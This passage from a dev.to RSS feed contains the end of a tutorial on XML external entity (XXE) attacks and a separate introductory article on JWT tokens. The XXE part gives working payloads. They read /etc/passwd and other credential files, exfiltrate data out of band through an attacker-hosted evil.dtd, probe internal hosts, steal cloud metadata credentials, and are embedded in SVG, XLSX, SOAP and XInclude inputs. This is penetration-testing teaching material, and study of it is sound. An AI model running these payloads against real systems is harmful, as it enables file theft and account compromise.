&lt;pre class="highlight xml"&gt;&lt;code&gt;Regular entity (classic XXE, in the XML body):
&lt;span class="cp"&gt;&amp;lt;!ENTITY xxe SYSTEM "file:///etc/passwd"&amp;gt;&lt;/span&gt;   ← referenced as &lt;span class="ni"&gt;&amp;amp;xxe;&lt;/span&gt;

Parameter entity (blind XXE, inside a DTD):
&lt;span class="cp"&gt;&amp;lt;!ENTITY % xxe SYSTEM "http://your-server.com/evil.dtd"&amp;gt;&lt;/span&gt;  ← note the %
%xxe;    ← referenced with % not &lt;span class="err"&gt;&amp;amp;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  8. Out-of-Band XXE — The Complete Flow
&lt;/h3&gt;

&lt;p&gt;Here's exactly what happens during a blind OOB XXE attack, end to end:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;YOUR MACHINE                    TARGET SERVER                YOUR SERVER
     |                                |                              |
     | 1. Send XML with              |                              |
     |    XXE payload ──────────────&amp;gt;|                              |
     |                               | 2. Parser reads              |
     |                               |    DOCTYPE                   |
     |                               | 3. Fetches evil.dtd ────────&amp;gt;|
     |                               |&amp;lt;─────── returns evil.dtd ────|
     |                               | 4. Executes DTD:             |
     |                               |    reads /etc/passwd         |
     |                               | 5. Makes HTTP request        |
     |                               |    with file contents ──────&amp;gt;|
     |                               |                              | 6. You see:
     | 7. Nothing in response        |                              | GET /?data=root:x:0...
     |&amp;lt;──────────────────────────────|                              |
     |                                                              |
     | 8. Read your server's terminal — the file data is right there
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  9. XXE → SSRF: Making the Server Talk to Internal Systems
&lt;/h3&gt;

&lt;p&gt;Instead of pointing your entity at a &lt;code&gt;file://&lt;/code&gt; path, point it at an &lt;code&gt;http://&lt;/code&gt; URL of an &lt;strong&gt;internal system&lt;/strong&gt;. The server's parser makes that HTTP request for you — from inside the network, bypassing any firewall that would've blocked you directly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Basic internal network probe:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;!DOCTYPE foo [
  &amp;lt;!ENTITY xxe SYSTEM "http://192.168.1.1/admin"&amp;gt;&lt;/span&gt;
]&amp;gt;
&lt;span class="nt"&gt;&amp;lt;data&amp;gt;&lt;/span&gt;&lt;span class="ni"&gt;&amp;amp;xxe;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/data&amp;gt;&lt;/span&gt;

# Admin panel content appears → you're reading internal pages
# "Connection refused" → port is closed
# Timeout → port might be filtered
# This difference lets you PORT SCAN internal services
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Cloud metadata endpoints are a critical target.&lt;/strong&gt; If the app runs on AWS:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;!DOCTYPE foo [
  &amp;lt;!ENTITY xxe SYSTEM
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"&amp;gt;&lt;/span&gt;
]&amp;gt;
&lt;span class="nt"&gt;&amp;lt;data&amp;gt;&lt;/span&gt;&lt;span class="ni"&gt;&amp;amp;xxe;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/data&amp;gt;&lt;/span&gt;

# A vulnerable response might contain:
{
  "AccessKeyId": "ASIAXXXXXXXXXXX",
  "SecretAccessKey": "...",
  "Token": "..."
}
# Full AWS account compromise from a single XXE.

# Azure metadata: http://169.254.169.254/metadata/instance?api-version=2021-02-01
# GCP metadata:   http://metadata.google.internal/computeMetadata/v1/instance/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  10. XXE in Unexpected Places
&lt;/h3&gt;

&lt;p&gt;Most testers only check the obvious XML endpoints. The best findings usually come from places that don't look like XML at all.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SVG file upload.&lt;/strong&gt; SVG is an XML-based image format. If the server processes an uploaded SVG (thumbnails, previews, conversion), it's parsing XML — and your XXE fires.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- evil.svg --&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;&amp;lt;?xml version="1.0" standalone="yes"?&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;&amp;lt;!DOCTYPE test [
  &amp;lt;!ENTITY xxe SYSTEM "file:///etc/passwd"&amp;gt;&lt;/span&gt;
]&amp;gt;
&lt;span class="nt"&gt;&amp;lt;svg&lt;/span&gt; &lt;span class="na"&gt;width=&lt;/span&gt;&lt;span class="s"&gt;"500"&lt;/span&gt; &lt;span class="na"&gt;height=&lt;/span&gt;&lt;span class="s"&gt;"500"&lt;/span&gt; &lt;span class="na"&gt;xmlns=&lt;/span&gt;&lt;span class="s"&gt;"http://www.w3.org/2000/svg"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;text&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;"10"&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;"20"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;&lt;span class="ni"&gt;&amp;amp;xxe;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/text&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/svg&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;XLSX / DOCX file upload.&lt;/strong&gt; Office files are ZIP archives containing XML. Unzip, inject, rezip, upload.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;unzip template.xlsx &lt;span class="nt"&gt;-d&lt;/span&gt; xlsx_extracted/

&lt;span class="c"&gt;# Edit xl/workbook.xml (or xl/sharedStrings.xml), adding at the top:&lt;/span&gt;
&amp;lt;?xml &lt;span class="nv"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"1.0"&lt;/span&gt; &lt;span class="nv"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"UTF-8"&lt;/span&gt; &lt;span class="nv"&gt;standalone&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"yes"&lt;/span&gt;?&amp;gt;
&amp;lt;&lt;span class="o"&gt;!&lt;/span&gt;DOCTYPE workbook &lt;span class="o"&gt;[&lt;/span&gt;
  &amp;lt;&lt;span class="o"&gt;!&lt;/span&gt;ENTITY xxe SYSTEM &lt;span class="s2"&gt;"file:///etc/passwd"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;]&amp;gt;&lt;/span&gt;
&lt;span class="c"&gt;# Then reference &amp;amp;xxe; somewhere in the file content&lt;/span&gt;

&lt;span class="nb"&gt;cd &lt;/span&gt;xlsx_extracted &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; zip &lt;span class="nt"&gt;-r&lt;/span&gt; ../evil.xlsx &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cd&lt;/span&gt; ..
&lt;span class="c"&gt;# Upload evil.xlsx&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Content-Type switching:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;# Original:
&lt;/span&gt;&lt;span class="nf"&gt;POST&lt;/span&gt; &lt;span class="nn"&gt;/search&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;application/x-www-form-urlencoded&lt;/span&gt;

q=laptop&amp;amp;category=electronics

# Try switching to XML:
POST /search HTTP/1.1
Content-Type: application/xml

&amp;lt;?xml version="1.0"?&amp;gt;
&amp;lt;!DOCTYPE foo [ &amp;lt;!ENTITY xxe SYSTEM "file:///etc/passwd"&amp;gt; ]&amp;gt;
&amp;lt;search&amp;gt;
  &amp;lt;q&amp;gt;&amp;amp;xxe;&amp;lt;/q&amp;gt;
  &amp;lt;category&amp;gt;electronics&amp;lt;/category&amp;gt;
&amp;lt;/search&amp;gt;

# Some backends auto-detect XML regardless of the original request format
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;SOAP web services&lt;/strong&gt; are also a classic target, since SOAP is XML by design:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;POST&lt;/span&gt; &lt;span class="nn"&gt;/webservice&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;text/xml; charset=utf-8&lt;/span&gt;
&lt;span class="na"&gt;SOAPAction&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;"getUser"&lt;/span&gt;

&lt;span class="cp"&gt;&amp;lt;?xml version="1.0"?&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;&amp;lt;!DOCTYPE foo [ &amp;lt;!ENTITY xxe SYSTEM "file:///etc/passwd"&amp;gt;&lt;/span&gt; ]&amp;gt;
&lt;span class="nt"&gt;&amp;lt;soap:Envelope&lt;/span&gt; &lt;span class="na"&gt;xmlns:soap=&lt;/span&gt;&lt;span class="s"&gt;"http://schemas.xmlsoap.org/soap/envelope/"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;soap:Body&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;getUser&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;userId&amp;gt;&lt;/span&gt;&lt;span class="ni"&gt;&amp;amp;xxe;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/userId&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/getUser&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/soap:Body&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/soap:Envelope&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  11. XInclude — When DOCTYPE Isn't an Option
&lt;/h3&gt;

&lt;p&gt;Sometimes you don't control the entire XML document — your input is just one value that gets embedded into a larger server-side document. You can't add a DOCTYPE, so classic XXE fails. &lt;strong&gt;XInclude&lt;/strong&gt; solves this — it's part of the XML spec that lets you include external content from within any element, no DOCTYPE required.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;# You only control the value inside &lt;span class="nt"&gt;&amp;lt;productId&amp;gt;&lt;/span&gt;...&lt;span class="nt"&gt;&amp;lt;/productId&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;productId&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;xi:include&lt;/span&gt; &lt;span class="na"&gt;xmlns:xi=&lt;/span&gt;&lt;span class="s"&gt;"http://www.w3.org/2001/XInclude"&lt;/span&gt;
              &lt;span class="na"&gt;parse=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt;
              &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"file:///etc/passwd"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/productId&amp;gt;&lt;/span&gt;

# xmlns:xi declares the XInclude namespace
# parse="text" means include the file as plain text
# href is the file path
# If the server processes XInclude, /etc/passwd shows up in the output
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Use XInclude when you find injection into an XML value, but the DOCTYPE section isn't under your control — for example, when your input is a form field embedded inside a backend XML template.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h3&gt;
  
  
  12. Building a Testing Toolkit
&lt;/h3&gt;

&lt;p&gt;A practical workflow for testing XXE systematically:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Proxy:&lt;/strong&gt; Capture every XML request in your HTTP history; filter by Content-Type.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Repeater/workspace:&lt;/strong&gt; Modify the XML body, resend, and read the response.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Search:&lt;/strong&gt; Look through request history for &lt;code&gt;&amp;lt;?xml&lt;/code&gt; or &lt;code&gt;DOCTYPE&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A server you control:&lt;/strong&gt; For blind/OOB XXE, you need somewhere to host &lt;code&gt;evil.dtd&lt;/code&gt; and watch for callbacks — a small VPS with &lt;code&gt;python3 -m http.server&lt;/code&gt; works fine.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Manual testing checklist:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Find XML in your proxy history (&lt;code&gt;Content-Type: xml&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Try converting JSON endpoints to XML&lt;/li&gt;
&lt;li&gt;Test an internal entity first to confirm processing&lt;/li&gt;
&lt;li&gt;Try &lt;code&gt;file:///etc/passwd&lt;/code&gt; in a &lt;code&gt;SYSTEM&lt;/code&gt; declaration&lt;/li&gt;
&lt;li&gt;Try &lt;code&gt;http://&lt;/code&gt; pointed at your own server (blind confirmation)&lt;/li&gt;
&lt;li&gt;Check file uploads for SVG/XLSX/DOCX&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Useful files to try:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Linux: &lt;code&gt;/etc/passwd&lt;/code&gt;, &lt;code&gt;/etc/hostname&lt;/code&gt;, &lt;code&gt;/proc/self/environ&lt;/code&gt;, &lt;code&gt;/proc/version&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Windows: &lt;code&gt;C:/Windows/win.ini&lt;/code&gt;, &lt;code&gt;C:/inetpub/wwwroot/web.config&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Cloud: the metadata endpoint at &lt;code&gt;169.254.169.254&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  13. The Full Testing Checklist
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Finding the attack surface:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Search proxy history for &lt;code&gt;Content-Type: application/xml&lt;/code&gt; or &lt;code&gt;text/xml&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Look for &lt;code&gt;&amp;lt;?xml&lt;/code&gt; or &lt;code&gt;DOCTYPE&lt;/code&gt; in request bodies&lt;/li&gt;
&lt;li&gt;Try switching JSON endpoints to XML by changing Content-Type&lt;/li&gt;
&lt;li&gt;Check file upload fields that accept SVG, DOCX, XLSX, XML&lt;/li&gt;
&lt;li&gt;Look for SOAP endpoints (SOAPAction header, XML envelope)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Confirming XML processing:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Test an internal entity — does it resolve?&lt;/li&gt;
&lt;li&gt;Confirm which XML field's value is reflected in the response&lt;/li&gt;
&lt;li&gt;Try placing &lt;code&gt;&amp;amp;xxe;&lt;/code&gt; in every field to find the reflection point&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Classic XXE (visible response):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Point &lt;code&gt;SYSTEM&lt;/code&gt; at &lt;code&gt;file:///etc/passwd&lt;/code&gt; — did contents appear?&lt;/li&gt;
&lt;li&gt;Try &lt;code&gt;file:///etc/hostname&lt;/code&gt; (shorter, confirms file read)&lt;/li&gt;
&lt;li&gt;Try Windows paths if error messages suggest a Windows server&lt;/li&gt;
&lt;li&gt;Attempt to read config files for credentials&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Blind XXE (no visible response):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Start a listener on your own server&lt;/li&gt;
&lt;li&gt;Point &lt;code&gt;SYSTEM&lt;/code&gt; at your server — did the request arrive?&lt;/li&gt;
&lt;li&gt;Create an &lt;code&gt;evil.dtd&lt;/code&gt; with a parameter entity chain for exfiltration&lt;/li&gt;
&lt;li&gt;Host the DTD and referenced it via a parameter entity&lt;/li&gt;
&lt;li&gt;Watch your listener for incoming requests carrying file data&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Advanced / alternative techniques:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Try XInclude when DOCTYPE injection wasn't possible&lt;/li&gt;
&lt;li&gt;Try SSRF via an &lt;code&gt;http://&lt;/code&gt; entity pointing at internal IPs&lt;/li&gt;
&lt;li&gt;Try the cloud metadata endpoint if the app runs on cloud infrastructure&lt;/li&gt;
&lt;li&gt;Test SVG upload with an XXE payload, if image upload was present&lt;/li&gt;
&lt;li&gt;Test XLSX injection by modifying &lt;code&gt;workbook.xml&lt;/code&gt; inside the ZIP&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;The golden rule for XXE:&lt;/strong&gt; it requires two things to work — the server must parse XML, and external entities must not be disabled. Your job is to find where XML gets parsed, then test whether external entities are processed. If they are, you can access the server's file system. Start with &lt;code&gt;/etc/hostname&lt;/code&gt; (single-line, always readable) to confirm, then escalate to &lt;code&gt;/etc/passwd&lt;/code&gt; and configuration files.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;strong&gt;The XXE mantra:&lt;/strong&gt; &lt;em&gt;Find the XML → define the entity → point it at a file → read the response.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;If you can't see the response, make the server call home. If you can't add a DOCTYPE, use XInclude. If the server can't reach files directly, make it probe internal services instead. XXE almost always has another path.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Note: This guide is intended for authorized security testing and educational purposes — always test within the scope of a legal engagement or your own lab environment.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>xxe</category>
      <category>programming</category>
      <category>ethicalhacking</category>
    </item>
    <item>
      <title>JWT Tokens: The Modern Authentication/Authorization</title>
      <dc:creator>Atharva Baheti</dc:creator>
      <pubDate>Wed, 09 Sep 2026 10:05:43 +0000</pubDate>
      <link>https://dev.to/atharva_baheti/understanding-jwt-tokens-the-modern-authentication-4jim</link>
      <guid>https://dev.to/atharva_baheti/understanding-jwt-tokens-the-modern-authentication-4jim</guid>
      <description>&lt;h2&gt;
  
  
  What Is a JWT Token?
&lt;/h2&gt;

&lt;p&gt;If you’ve ever wondered how websites let you stay logged in without asking for your password every five minutes, the answer often lies in something called a &lt;strong&gt;JWT (JSON Web Token)&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Think of a JWT as a &lt;strong&gt;digital passport&lt;/strong&gt; — a secure little package of information that proves who you are and what you’re allowed to do, allowing you to move smoothly between different parts of an app or API.&lt;/p&gt;

&lt;h2&gt;
  
  
  How Does a JWT Work?
&lt;/h2&gt;

&lt;p&gt;Imagine you walk into a theme park. At the entrance, you buy a ticket and get a wristband.&lt;br&gt;
This wristband:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Has your name&lt;/li&gt;
&lt;li&gt;Lists the rides you’re allowed to access&lt;/li&gt;
&lt;li&gt;Has an expiry time&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now, every time you go on a ride, you don’t have to pull out your ID. The wristband itself is proof. That’s exactly how a JWT works. Once you’re authenticated, the server gives you a token. You send this token with each request, and the server trusts it — no need to re-check your identity again and again.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Anatomy of a JWT
&lt;/h2&gt;

&lt;p&gt;A JWT token is made of three parts, separated by dots (.):&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Header —&lt;/strong&gt; Contains metadata (like the token type and encryption algorithm).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Payload —&lt;/strong&gt; Holds the actual data or claims (user ID, roles, expiration).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Signature —&lt;/strong&gt; Ensures the token wasn’t altered.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;It looks like this:&lt;br&gt;
&lt;strong&gt;Header.Payload.Signature&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ex-&lt;/strong&gt; eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Breakdown:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Header:&lt;/strong&gt; eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Payload:&lt;/strong&gt; eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Signature:&lt;/strong&gt; SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Real-World Example: Online Shopping
&lt;/h2&gt;

&lt;p&gt;You log in → Server verifies you → It gives you a JWT.&lt;br&gt;
Every time you:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Add a product&lt;/li&gt;
&lt;li&gt;View your cart&lt;/li&gt;
&lt;li&gt;Proceed to checkout&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Your browser sends the &lt;strong&gt;same JWT&lt;/strong&gt;, and the server checks:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Is the signature valid?&lt;/li&gt;
&lt;li&gt;Has it expired?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If everything is valid — you’re allowed to continue.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffa8vb62acbs0p8jld2jc.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffa8vb62acbs0p8jld2jc.webp" alt="How JWT Works" width="799" height="572"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Developers Prefer JWT
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Stateless → No session storage needed&lt;/li&gt;
&lt;li&gt;Compact → Light and fast to transmit&lt;/li&gt;
&lt;li&gt;Secure → Signed, so tampering is detectable&lt;/li&gt;
&lt;li&gt;Flexible → Perfect for APIs, microservices, mobile apps, etc.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Security Best Practices
&lt;/h2&gt;

&lt;p&gt;✔ Validate every token → Signature + expiry.&lt;br&gt;
✔ Use strong algorithms → HS256, RS256 are recommended.&lt;br&gt;
✔ Keep expiration short → Lower risk if stolen.&lt;br&gt;
✔ Never store sensitive information → JWT payload is easily readable.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;JWT tokens are a powerful way to handle authentication and authorization in today’s applications. When used correctly, they make systems:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;More secure&lt;/li&gt;
&lt;li&gt;More scalable&lt;/li&gt;
&lt;li&gt;Easier to manage&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Understanding JWTs gives you a strong foundation for building modern web apps and APIs.&lt;/p&gt;

</description>
      <category>security</category>
      <category>programming</category>
      <category>webdev</category>
      <category>authentication</category>
    </item>
  </channel>
</rss>
